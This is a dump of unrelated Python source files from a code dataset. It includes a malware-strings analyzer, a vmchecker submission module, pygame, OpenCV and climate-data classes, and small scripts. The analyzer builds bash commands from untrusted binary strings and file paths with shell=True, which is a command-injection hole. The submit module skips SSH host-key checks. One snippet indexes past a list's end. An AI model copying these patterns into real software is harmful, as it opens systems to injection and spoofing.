self.__split_to_bucket_and_path(remote_path)\n self.__logger.debug('Downloading {} as file object'.format(remote_path))\n self.__client.download_fileobj(Bucket=bucket_name, Key=key_path, Fileobj=file_like)\n","sub_path":"internal/source/storage/io_handlers/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":10905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"22721862","text":"from distutils import spawn\nfrom subprocess import PIPE, STDOUT\nimport re, enchant, subprocess\n\nclass Parser(object):\n \"\"\"\n This class is used to perform all tasks concerning the string analysis.\n \"\"\"\n\n @staticmethod\n def strings(path):\n \"\"\"\n Extract all readable strings from a binary.\n\n :param path: Path to the binary to analyze.\n :type: string\n :return: List that contains all strings.\n :rtype: List\n \"\"\"\n string_list = []\n chars = r\"A-Za-z0-9/\\-:.,_$%'()[\\]<> \"\n shortest_run = 4\n regexp = '[%s]{%d,}' % (chars, shortest_run)\n pattern = re.compile(regexp)\n try:\n with open(path, 'rb') as file:\n return pattern.findall(file.read())\n except:\n return None\n\n @staticmethod\n def getIp(string):\n \"\"\"\n Static method that extract strings detected as an IP address.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n regexp = \"\"\"\\\\b((?:\\\\b(([01]?\\d?\\d|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d?\\d|2[0-4]\\d|25[0-5])\\\\b:(?:6535[0-3]\\\\b|653[0-4]\\\\b|65[0-2]\\d{2}|6[0-4]\\d{3}|[1-5]\\d{4}|[1-9]\\d{3}|[1-9]\\d{2}|[1-9]\\d|\\d)|\\\\b(([01]?\\d?\\d|2[0-4]\\d|25[0-5])\\.){3}([01]?\\d?\\d|2[0-4]\\d|25[0-5])\\\\b))\"\"\"\n pattern = re.compile(regexp)\n if pattern.search(string) is None:\n return None\n return pattern.search(string).group()\n\n @staticmethod\n def getUrl(string):\n \"\"\"\n Static method that extract strings detected as an URL.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n regexp = \"\"\"(?:(?:http|ftp) : //[^ ]+ : [^ ]+|(?:http|ftp) : //[^ ]+)|http[^ ]+\"\"\"\n pattern = re.compile(regexp)\n if pattern.search(string) is None:\n return None\n return pattern.search(string).group()\n\n @staticmethod\n def getCmd(string):\n \"\"\"\n Static method that extract strings detected as a linux command line.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n potential_cmd = string.replace(\">\", \"o\").replace(\"<\", \"o\") \\\n .replace(\"]\", \"o\").replace(\"[\", \"o\") \\\n .replace(\"/\", \"o\").replace(\"\\\\\", \"o\") \\\n .replace(\"'\", \"o\").replace(\"%\", \"o\") \\\n .replace(\"-\", \"o\").replace(\"_\", \"o\") \\\n .replace(\":\", \"o\").replace(\",\", \"o\") \\\n .replace(\".\", \"o\") \\\n .lstrip().split(\" \")[0] # .replace(\")\", \" \").replace(\"(\", \" \") \\\n\n if spawn.find_executable(potential_cmd) != None:\n return potential_cmd\n\n cmd = [\"bash -c \\\"command -v \\\"\" + potential_cmd + \"\\\"\\\"\"]\n ret = subprocess.Popen(cmd, shell=True, stdin=PIPE,\n stdout=PIPE, stderr=STDOUT).communicate()\n if ret[0] != \"\" and potential_cmd not in [\"(null)\", \"(nil)\"]:\n return potential_cmd\n return None\n\n @staticmethod\n def getId(string):\n \"\"\"\n Static method that extract strings detected as an identifier.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n\n dir = \"../../collectedData/identifiers/\"\n fuser = fpass = []\n with open(dir + \"username\") as f:\n fuser = f.read().splitlines()\n fuser = map(lambda x:x.lower(),fuser)\n with open(dir + \"password\") as f:\n fpass = f.read().splitlines()\n fpass = map(lambda x:x.lower(),fpass)\n if (string.lower() in fpass) or (string.lower() in fuser):\n return string\n return None\n\n @staticmethod\n def getPath(string):\n \"\"\"\n Static method that extract strings detected as a file path.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n\n if \"/\" not in string or \"(\" in string or \")\" in string:\n return None\n\n bad_seq = [\"//\", \"i/o\", \"input/output\"]\n for seq in bad_seq:\n if seq in string.lower():\n return None\n regexp = \"\"\"(.*[\\\\\\/]|^)(.*?)(?:[\\.]|$)([^\\.\\s]*$)\"\"\"\n pattern = re.compile(regexp)\n if pattern.search(string) is None:\n return None\n return pattern.search(string).group()\n\n @staticmethod\n def getSection(string):\n \"\"\"\n Static method that extract strings detected as a elf binary section.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n\n regexp = \"\"\"^\\.[a-zA-Z0-9_]+$\"\"\"\n pattern = re.compile(regexp)\n if pattern.search(string) is None:\n return None\n return pattern.search(string).group()\n\n @staticmethod\n def getSymbol(string, readelf_output):\n for entry in readelf_output:\n entry = re.sub(r'\\s+', ' ', entry).strip().split()\n if len(entry) == 8 and entry[3] != \"NOTYPE\" \\\n and string == entry[-1]:\n return string, entry[3].lower()\n return None, None\n\n @staticmethod\n def getFormatStr(string):\n \"\"\"\n Static method that extract strings detected as a format string.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n\n regexp = \"\"\"%[\\-\\+0\\s\\#]{0,1}(\\d+){0,1}(\\.\\d+){0,1}[hlI]{0,1}[cCdiouxXeEfgGnpsS]{1}\"\"\"\n pattern = re.compile(regexp)\n if pattern.search(string) is None:\n return None\n return pattern.search(string).group()\n\n @staticmethod\n def getMessage(string):\n \"\"\"\n Static method that extract strings detected as an english message.\n\n :param string: A string to be analyzed.\n :type string: String\n :return: None if the string doesn't match or the part of the string\n which corresponds.\n :rtype: string\n \"\"\"\n\n sentence_list = re.sub(r'\\s+', ' ', string).strip().split()\n d = enchant.Dict(\"en_US\")\n known_words = 0\n for word in sentence_list:\n if d.check(word):\n known_words += 1\n percent = (100 * known_words) / len(sentence_list)\n if percent < 60:\n return None\n return string\n\n @staticmethod\n def isValidBin(path):\n \"\"\"\n Detect if a file is an elf binary.\n\n :param path: Absolute path to an elf binary.\n :type path: string\n :return: First value determine if its a binary or not and the second\n contains the error message in case of error.\n :rtype: Boolean, string\n \"\"\"\n cmd = [\"bash -c \\\"file \\\"\" + path + \"\\\"\\\"\"]\n ret = subprocess.Popen(cmd, shell=True, stdin=PIPE,\n stdout=PIPE, stderr=STDOUT).communicate()\n if \"not stripped\" not in ret[0]:\n return False, \"[Error] stripped binary, impossible to perform string analysis.\"\n if \"too many section\" in ret[0]:\n return False, \"[Error] too many section, impossible to perform string analysis.\"\n return True, None\n","sub_path":"utils/malwareStringsAnalyzer/lib/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":8417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"453052738","text":"\"\"\"empty message\n\nRevision ID: 1e345110f4ab\nRevises: 1cff8aa5fbb5\nCreate Date: 2015-09-27 18:45:16.224354\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1e345110f4ab'\ndown_revision = '1cff8aa5fbb5'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('linkLists_users',\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('link_list_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['link_list_id'], ['link_list.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], )\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('linkLists_users')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/1e345110f4ab_.py","file_name":"1e345110f4ab_.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"372833683","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Creates a homework configuration file, uploads files to repository\nand sends the homework for evaluation\n\nFor a better submission scheme see the commit:\n 22326889e780121f37598532efc1139e21daab41\n\n\"\"\"\n\nfrom __future__ import with_statement\n\nimport ConfigParser\nimport os\nimport shutil\nimport subprocess\nimport time\nimport socket\nimport datetime\nimport paramiko\nfrom contextlib import closing\n\nfrom . import config\nfrom . import paths\nfrom . import ziputil\nfrom . import submissions\nfrom . import vmlogging\nfrom . import tempfileutil\nfrom .courselist import CourseList\n\nlogger = vmlogging.create_module_logger('submit')\n\n_DEFAULT_SSH_PORT = 22\n\nclass SubmitedTooSoonError(Exception):\n \"\"\"Raised when a user sends a submission too soon after a previous one.\n\n This is used to prevent a user from DOS-ing vmchecker or from\n monopolising the test queue.\"\"\"\n def __init__(self, message):\n Exception.__init__(self, message)\n\ndef submission_config(user, assignment, course_id, upload_time,\n storer_result_dir, storer_username, storer_hostname):\n \"\"\"Creates a configuration file describing the current submission:\n - who uploaded it\n - which assignment does it solve\n - which course was it for\n - when was it uploaded\n\n Also, XXX, should be removed:\n - where to store results\n - with which user to connect to the machine storring the results\n - which is the machine storring the results\n\n The last part should not be part of the submission config, but\n should be generated automatically when the submission is sent\n for testing.\n \"\"\"\n sbcfg = ConfigParser.RawConfigParser()\n sbcfg.add_section('Assignment')\n sbcfg.set('Assignment', 'User', user)\n sbcfg.set('Assignment', 'Assignment', assignment)\n sbcfg.set('Assignment', 'UploadTime', upload_time)\n sbcfg.set('Assignment', 'CourseID', course_id)\n\n # XXX these should go to `callback'\n sbcfg.set('Assignment', 'ResultsDest', storer_result_dir)\n sbcfg.set('Assignment', 'RemoteUsername', storer_username)\n sbcfg.set('Assignment', 'RemoteHostname', storer_hostname)\n return sbcfg\n\n\n\ndef submission_backup_prefix(course_id, assignment, user, upload_time):\n \"\"\"Backups have a name of the form:\n SO_1-minishell-linux_Lucian Adrian Grijincu_2010.03.05 01:08:54_juSZr9\n\n This builds the prefix of the path. The random last part is\n generated by Python's tempfile module.\n \"\"\"\n return '%s_%s_%s_%s_' % (course_id, assignment, user, upload_time)\n\n\ndef submission_backup(back_dir, archive_filename, sbcfg):\n \"\"\"Make a backup for this submission.\n\n Each entry is of the following structure:\n +--$back_dir/\n | +--archive/\n | | +-- X (all the files from the archive)\n | | +-- Y (all the files from the archive)\n | +--submission-config config describing the submission\n | | (user, uploadtime, assignment)\n | +--archive.zip the original (unmodified) archive\n \"\"\"\n back_arc = paths.dir_submission_expanded_archive(back_dir)\n back_cfg = paths.submission_config_file(back_dir)\n back_zip = paths.submission_archive_file(back_dir)\n\n # make sure the directory path exists\n if not os.path.exists(back_dir):\n os.makedirs(back_dir)\n\n # copy the (unmodified) archive. This should be the first thing we\n # do, to make sure the uploaded submission is on the server no\n # matter what happens next\n shutil.copyfile(archive_filename, back_zip)\n\n # write the config. Again do this before unzipping (which might fail)\n # to make sure we have the upload data ready.\n with open(back_cfg, 'w') as handle:\n sbcfg.write(handle)\n\n # unzip the archive, but check if it has absolute paths or '..'\n ziputil.unzip_safely(archive_filename, back_arc)\n\n logger.info('Stored submission in temporary directory %s', back_dir)\n\n\n\ndef submission_git_commit(dest, user, assignment):\n \"\"\"Submit in git the data from the dest subdirectory of the\n repository.\n \"\"\"\n subprocess.Popen(['git', 'add', '--force', '.'], cwd=dest).wait()\n subprocess.Popen(['git', 'commit', '--allow-empty', '.',\n '-m \"Updated ' + user + '\\' submission for ' +\n assignment + '\"'], cwd=dest).wait()\n\n\n\n\ndef save_submission_in_storer(archive_filename, user, assignment,\n course_id, upload_time):\n \"\"\" Save the submission on the storer machine:\n\n - create a config for the submission to hold identifying info\n (user, course, assignment, upload_time)\n - create a backup for the submission parallel to the git repo\n - commit the backup in the git repo\n - copy the archive near the data committed in the repo to be\n easily accessible.\n \"\"\"\n vmcfg = config.CourseConfig(CourseList().course_config(course_id))\n vmpaths = paths.VmcheckerPaths(vmcfg.root_path())\n sbroot = vmpaths.dir_submission_root(assignment, user)\n sbcfg = submission_config(user, assignment, course_id, upload_time,\n paths.dir_submission_results(sbroot),\n vmcfg.storer_username(),\n vmcfg.storer_hostname())\n\n # make a separate backup for each submission, parallel to the git repo\n # here, each submission gets a separate entry.\n # in git the former entryes get overwritten and commited to git.\n name_prefix = submission_backup_prefix(course_id, assignment, user, upload_time)\n back_dir = tempfileutil.mkdtemp(prefix=name_prefix, dir=vmpaths.dir_backup())\n submission_backup(back_dir, archive_filename, sbcfg)\n\n\n # commit in git this submission\n git_dest = vmpaths.dir_submission_root(assignment, user)\n with vmcfg.assignments().lock(vmpaths, assignment):\n # cleanup any previously commited data\n if os.path.exists(git_dest):\n shutil.rmtree(git_dest)\n submission_backup(git_dest, archive_filename, sbcfg)\n # we only commit the archive's data. the config file and the\n # archive.zip is not commited.\n submission_git_commit(paths.dir_submission_expanded_archive(git_dest),\n user, assignment)\n\n\n\ndef create_testing_bundle(user, assignment, course_id):\n \"\"\"Creates a testing bundle.\n\n This function creates a zip archive (the bundle) with everything\n needed to run the tests on a submission.\n\n The bundle contains:\n submission-config - submission config (eg. name, time of submission etc)\n machine-config - configuration for the virtual machine\n archive.zip - a zip containing the sources\n tests.zip - a zip containing the tests\n ??? - assignment's extra files (see Assignments.include())\n\n \"\"\"\n vmcfg = config.CourseConfig(CourseList().course_config(course_id))\n vmpaths = paths.VmcheckerPaths(vmcfg.root_path())\n sbroot = vmpaths.dir_submission_root(assignment, user)\n\n asscfg = vmcfg.assignments()\n machine = asscfg.get(assignment, 'Machine')\n\n #rel_file_list = list(vmcfg.assignments().files_to_include(assignment))\n rel_file_list = []\n rel_file_list += [ ('build.sh', vmcfg.get(machine, 'BuildScript')),\n ('run.sh', vmcfg.get(machine, 'RunScript')) ]\n rel_file_list += [ ('archive.zip', paths.submission_archive_file(sbroot)),\n ('tests.zip', vmcfg.assignments().tests_path(vmpaths, assignment)),\n ('submission-config', paths.submission_config_file(sbroot)),\n ('machine-config', os.path.join(vmcfg.root_path(), 'config')) ] # XXX\n # XXX for now 'machine-config' contains all the config of the storer\n # in the future we should include only what's really necessary\n\n file_list = [ (dst, vmpaths.abspath(src)) for (dst, src) in rel_file_list ]\n\n # builds archive with configuration\n with vmcfg.assignments().lock(vmpaths, assignment):\n # creates the zip archive with an unique name\n (bundle_fd, bundle_path) = tempfileutil.mkstemp(\n suffix='.zip',\n prefix='%s_%s_%s_' % (course_id, assignment, user),\n dir=vmpaths.dir_unchecked()) # FIXME not here\n logger.info('Creating bundle package %s', bundle_path)\n\n try:\n with closing(os.fdopen(bundle_fd, 'w+b')) as handler:\n ziputil.create_zip(handler, file_list)\n except:\n logger.error('Failed to create zip archive %s', bundle_path)\n raise # just cleaned up the bundle. the error still needs\n # to be reported.\n\n return bundle_path\n\n\ndef ssh_bundle(bundle_path, vmcfg):\n \"\"\"Sends a bundle over ssh to the tester machine\"\"\"\n tester_username = vmcfg.tester_username()\n tester_hostname = vmcfg.tester_hostname()\n tester_queuepath = vmcfg.tester_queue_path()\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect((tester_hostname, _DEFAULT_SSH_PORT))\n t = paramiko.Transport(sock)\n try:\n t.start_client()\n # XXX cannot validate remote key, because www-data does not\n # have $home/.ssh/known_hosts where to store such info. For\n # now, we'll assume the remote host is the desired one.\n #remotekey = t.get_remote_server_key()\n key = paramiko.RSAKey.from_private_key_file(vmcfg.storer_sshid())\n # todo check DSA keys too\n # key = paramiko.DSAKey.from_private_key_file(vmcfg.storer_sshid())\n t.auth_publickey(tester_username, key)\n sftp = paramiko.SFTPClient.from_transport(t)\n # XXX os.path.join is not correct here as these are paths on the\n # remote machine.\n sftp.put(bundle_path, os.path.join(tester_queuepath, os.path.basename(bundle_path)))\n finally:\n t.close()\n\n\n\ndef submitted_too_soon(assignment, user, vmcfg):\n \"\"\"Check if the user submitted this assignment very soon after\n another submission.\n\n Returns True if another submission of this assignment was done\n without waiting the amount of time specified in the config file.\n \"\"\"\n vmpaths = paths.VmcheckerPaths(vmcfg.root_path())\n subm = submissions.Submissions(vmpaths)\n if not subm.submission_exists(assignment, user):\n return False\n upload_time = subm.get_upload_time(assignment, user)\n\n if upload_time is None:\n return False\n\n remaining = upload_time\n remaining += vmcfg.assignments().timedelta(assignment)\n remaining -= datetime.datetime.now()\n\n return remaining > datetime.timedelta()\n\n\n\ndef queue_for_testing(assignment, user, course_id):\n \"\"\"Queue for testing the last submittion for the given assignment,\n course and user.\"\"\"\n vmcfg = config.CourseConfig(CourseList().course_config(course_id))\n bundle_path = create_testing_bundle(user, assignment, course_id)\n ssh_bundle(bundle_path, vmcfg)\n\n\ndef submit(archive_filename, assignment, user, course_id,\n skip_time_check=False, forced_upload_time=None):\n \"\"\"Commit in the git repo and queue for testing a new submission.\n\n The submission is identified by archive_filename.\n\n Implicitly, if the user sent the submission to soon, it isn't\n queued for checking. This check can be skipped by setting\n skip_time_check=True.\n\n If forced_upload_time is not specified, the current system time is\n used.\n \"\"\"\n vmcfg = config.CourseConfig(CourseList().course_config(course_id))\n\n if forced_upload_time != None:\n skip_time_check = True\n upload_time = forced_upload_time\n else:\n upload_time = time.strftime(config.DATE_FORMAT)\n\n # checks time difference\n if not skip_time_check and submitted_too_soon(assignment, user, vmcfg):\n raise SubmitedTooSoonError('''You are submitting too fast.\n Please allow %s between submissions''' %\n str(vmcfg.assignments().timedelta(assignment)))\n\n save_submission_in_storer(archive_filename, user, assignment,\n course_id, upload_time)\n queue_for_testing(assignment, user, course_id)\n\n","sub_path":"vmchecker/submit.py","file_name":"submit.py","file_ext":"py","file_size_in_byte":12226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"242626466","text":"import pygame\nfrom pygame.locals import *\n\n\nclass TextDisplay():\n\n def __init__(self):\n # Initializes font:\n pygame.font.init()\n\n # Declares the font to be used by the text\n self.font_56 = pygame.font.SysFont(\"None\", 56)\n self.font_46 = pygame.font.SysFont(\"None\", 46)\n self.font_36 = pygame.font.SysFont(\"None\", 36)\n self.font_26 = pygame.font.SysFont(\"None\", 26)\n self.font_16 = pygame.font.SysFont(\"None\", 16)\n\n def setPosition(self, position, screen_size, text):\n # Gets screen dimensions:\n screen_width, screen_height = screen_size\n\n # Gets dimensions of the text\n text_posX, text_posY, text_lenght, text_height = text.get_rect()\n\n # Checks for the position to display the text:\n if type(position) is str:\n if position != \"\":\n if position == \"screen_center\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 - text_height/2)\n elif position == \"center_top\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 - text_height)\n elif position == \"center_top2\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 - text_height*2)\n print(\"help\")\n elif position == \"center_top3\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 - text_height*3)\n elif position == \"center_bottom\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2)\n elif position == \"center_bottom2\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 + text_height*2)\n elif position == \"center_bottom3\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 + text_height*3)\n elif position == \"center_bottom4\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 + text_height*4)\n elif position == \"center_bottom5\":\n # Puts the text on the center of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n screen_height/2 + text_height*5)\n elif position == \"top_center\":\n # Puts the text centered on the top of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n 0)\n elif position == \"top_center2\":\n # Puts the text centered on the top of the screen:\n textPosition = (screen_width/2 - text_lenght/2,\n text_height)\n\n elif type(position) is tuple:\n textPosition = position\n\n return textPosition\n\n def displayTextMainMenu(self, text, COLOR, screen, screen_size, position):\n # Renders the text by the font chosen before\n text = self.font_56.render(text, True, COLOR)\n\n # Sets the text position:\n textPosition = self.setPosition(position, screen_size, text)\n\n # Sticks the text to the screen:\n screen.blit(text, textPosition)\n\n def displayHealthAndName(self, COLOR, player, screen, screen_size):\n # Gets screen dimensions:\n screen_width, screen_height = screen_size\n\n name = \"{0}\".format(player.name)\n health = \"Health: {0}\".format(player.health)\n\n # Renders the text by the font chosen before\n health = self.font_26.render(health, True, COLOR)\n # Gets dimensions of the text\n health_posX, health_posY, health_lenght, health_height = health.get_rect()\n healthPosition = (player.rect.centerx - health_lenght/2,\n player.rect.centery - health_height*2 - 10)\n\n # Renders the text by the font chosen before\n name = self.font_26.render(name, True, (255, 255, 255))\n # Gets dimensions of the text\n name_posX, name_posY, name_lenght, name_height = name.get_rect()\n namePosition = (player.rect.centerx - name_lenght/2,\n player.rect.centery - name_height*3 - 10)\n\n # Sticks the name to the screen:\n screen.blit(name, namePosition)\n # Sticks the health to the screen:\n screen.blit(health, healthPosition)\n\n def displayTextNameScreen(self, text, COLOR, screen, screen_size, position):\n # Renders the text by the font chosen before\n text = self.font_36.render(text, True, COLOR)\n\n # Sets the text position:\n textPosition = self.setPosition(position, screen_size, text)\n\n # Sticks the text to the screen:\n screen.blit(text, textPosition)\n\n def displayTextWinnerScreen(self, text, COLOR, screen, screen_size, position):\n # Renders the text by the font chosen before\n text = self.font_36.render(text, True, COLOR)\n\n # Sets the text position:\n textPosition = self.setPosition(position, screen_size, text)\n\n # Sticks the text to the screen:\n screen.blit(text, textPosition)\n\n def displayWhoWon(self, COLOR, winner, loser, screen, screen_size, position):\n # Creates the text string:\n text = \"{0} has defeated {1}!\".format(winner, loser)\n\n # Renders the text by the font chosen before\n text = self.font_36.render(text, True, COLOR)\n\n # Sets the text position:\n textPosition = self.setPosition(position, screen_size, text)\n\n # Sticks the text to the screen:\n screen.blit(text, textPosition)\n \n def displayDistance(self, COLOR, screen, distance, angle, mouse_position):\n # Creates the text string:\n text = \"Distance: {0}\".format(distance)\n text2 = \"Angle: {0}\".format(angle)\n \n # Renders the text by the font chosen before\n text = self.font_26.render(text, True, COLOR)\n text2 = self.font_26.render(text2, True, COLOR)\n text_2_x = mouse_position[0]\n text_2_y = mouse_position[1] + text2.get_rect()[3]\n text_2_pos = (text_2_x, text_2_y)\n \n # Blits the text:\n screen.blit(text, mouse_position)\n screen.blit(text2, text_2_pos)\n \n def displayMovementsLeft(self, COLOR, screen, movements_left):\n # Creates the text string:\n text = \"Movimentos: {0}\".format(movements_left)\n \n # Renders the text by the font chosen before\n text = self.font_26.render(text, True, COLOR)\n \n # Gets Position:\n textPosition = (0, 0)\n \n # Blits the text:\n screen.blit(text, textPosition)","sub_path":"class_textDisplay.py","file_name":"class_textDisplay.py","file_ext":"py","file_size_in_byte":7494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"505437249","text":"# test_tweet.py is used to test the ability to tweet by tweeting\n# there is nothing specific about what should be tweeted\n\ndebug = True\nif debug:\n print('in test_tweet.py')\nimport tweepy as tp\nimport time\nimport os\nfrom keys import keys\n\nif debug:\n print('opening auth & api')\nauth = tp.OAuthHandler(keys['consumer_key'], keys['consumer_secret'])\nauth.set_access_token(keys['access_token'], keys['access_secret'])\napi = tp.API(auth)\n\nif debug:\n print('posting new status')\n#new_status = 'Hello! I\\'m Eric Cartbot #ArtificialIntelligence #ComputationalCreativity #TwitterBot'\nnew_status = 'There is nothing to see here. Move along, folks'\ntry:\n api.update_status(new_status)\nexcept tp.error.TweepError as err:\n print('TweepError: {}'.format(err))\n print('\\t' + new_status)\n\nif debug:\n print('end program')\n","sub_path":"test_tweet.py","file_name":"test_tweet.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340329015","text":"num = int(input())\nfor i in range(num):\n m = int(input())\n n = [1, 1, 1]\n if m < len(n):\n print(n[m])\n continue\n for j in range(3, m + 1):\n n[j] = n[j - 2] + n[j - 3]\n print(n[m])\n","sub_path":"Code/CodeRecords/2546/60730/287247.py","file_name":"287247.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"97590901","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis file is part of pyCMBS.\n(c) 2012- Alexander Loew\nFor COPYING and LICENSE details, please refer to the LICENSE file\n\"\"\"\n\nfrom pycmbs.data import Data\nimport os\nfrom pycmbs.netcdf import *\nimport numpy as np\n\n\nclass Icon(Data):\n\n \"\"\"\n Main class for ICON data handling\n \"\"\"\n\n def __init__(self, filename, gridfile, varname, read=False, **kwargs):\n \"\"\"\n Parameters\n ----------\n\n filename : str\n filename of data file\n\n gridfile : str\n filename of grid definition file\n\n varname : str\n name of variable to handle\n\n read : bool\n specify if data should be read immediately\n \"\"\"\n Data.__init__(self, filename, varname, **kwargs)\n self.gridfile = gridfile\n self.gridtype = 'unstructured'\n\n#---\n\n def read(self, time_var='time'):\n \"\"\"\n This is a special routine for reading data from ICON structure\n a bit redundant to Data.read()\n\n Parameters\n ----------\n\n time_var : str\n name of time variable (default='time')\n \"\"\"\n print('Reading ICON data ...')\n\n if not os.path.exists(self.filename):\n raise ValueError('File not existing: %s' % self.filename)\n if not os.path.exists(self.gridfile):\n raise ValueError('File not existing: %s' % self.gridfile)\n\n #--- time variable\n self.time_var = time_var\n\n #--- data field\n # [time,ncell]\n self.data = self.read_netcdf(self.varname)\n nt, ncell = self.data.shape\n # reshape so we have a common 3D structure like always in pyCMBS\n self.data = self.data.reshape((nt, 1, ncell))\n if self.data is None:\n raise ValueError('The data in the file %s is not existing. \\\n This must not happen!' % self.filename)\n if self.scale_factor is None:\n raise ValueError('The scale_factor for file %s is NONE, \\\n this must not happen!' % self.filename)\n\n self.data *= self.scale_factor\n\n #--- read lat/lon\n File = NetCDFHandler()\n File.open_file(self.gridfile, 'r')\n # grid cell center coordinates\n self.lon = File.get_variable('clon') * 180. / np.pi\n self.lat = File.get_variable('clat') * 180. / np.pi\n self.ncell = len(self.lon)\n\n self.vlon = File.get_variable('clon_vertices') * 180. / np.pi\n self.vlat = File.get_variable('clat_vertices') * 180. / np.pi\n\n File.close()\n\n #--- read time variable\n if self.time_var is not None:\n # returns either None or a masked array\n self.time = self.read_netcdf(self.time_var)\n if hasattr(self.time, 'mask'):\n self.time = self.time.data\n else:\n self.time is None\n if self.time is not None:\n if self.time.ndim != 1:\n # remove singletone dimensions\n self.time = self.time.flatten()\n else:\n self.time = None\n\n #--- determine time --> convert to python timestep\n if self.time is not None:\n self.set_time()\n","sub_path":"pycmbs/icon.py","file_name":"icon.py","file_ext":"py","file_size_in_byte":3243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"225738721","text":"import cv2\nimport numpy as np\n\no = cv2.imread('img2.jpg')\nimg = o\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\nret, binary = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)\ncontours, hierarchy = cv2.findContours(binary, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)\n\ncv2.imshow('original', img)\n\nn = len(contours)\ncontoursImg = []\n\nfor i in range(n):\n print('Contours['+str(i)+'] Area=', cv2.contourArea(contours[i]))\n temp = np.zeros(img.shape, dtype=np.uint8)\n contoursImg.append(temp)\n contoursImg[i] = cv2.drawContours(contoursImg[i], contours, i, (255,255,255), 3)\n cv2.imshow('Contours['+str(i)+']', contoursImg[i])\n \ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"ex12-5.py","file_name":"ex12-5.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45276725","text":"\nimport argparse\n\nclass Args(object):\n \n def __init__(self):\n self._parser = argparse.ArgumentParser(description='Get forward looking metrics from JIRA')\n\n self._parser.add_argument('-n',\n action=\"store\",\n dest=\"num_weeks\",\n type=int,\n default=6)\n\n self._parser.add_argument('-c',\n action=\"store\",\n dest=\"config_filename\",\n default='config.json')\n\n\n @property\n def args(self):\n return self._parser.parse_args()","sub_path":"jlf_stats/args.py","file_name":"args.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400810022","text":"# region ExitCodes\nQT_NOT_FOUND = 100\n# endregion\n\nCELL_SIZE = 60\nOUTER_BALL_SIZE = 48\nOUTER_BALL_SHIFT = (CELL_SIZE - OUTER_BALL_SIZE) // 2\nINNER_BALL_SIZE = 24\nINNER_BALL_SHIFT = (CELL_SIZE - INNER_BALL_SIZE) // 2\nSCORE_BOARD_SIZE = 3 * CELL_SIZE + 5\n\n# region Colors\n# region BallColors\nBALL_COLOR_GREEN = (56, 248, 183)\nBALL_COLOR_RED = (130, 21, 27)\nBALL_COLOR_BLUE = (24, 67, 226)\nBALL_COLOR_CYAN = (47, 199, 249)\nBALL_COLOR_YELLOW = (228, 230, 52)\nBALL_COLOR_MAGENTA = (59, 5, 81)\nBALL_COLOR_BROWN = (219, 183, 248)\n# endregion\n\nCELL_COLOR = (106, 110, 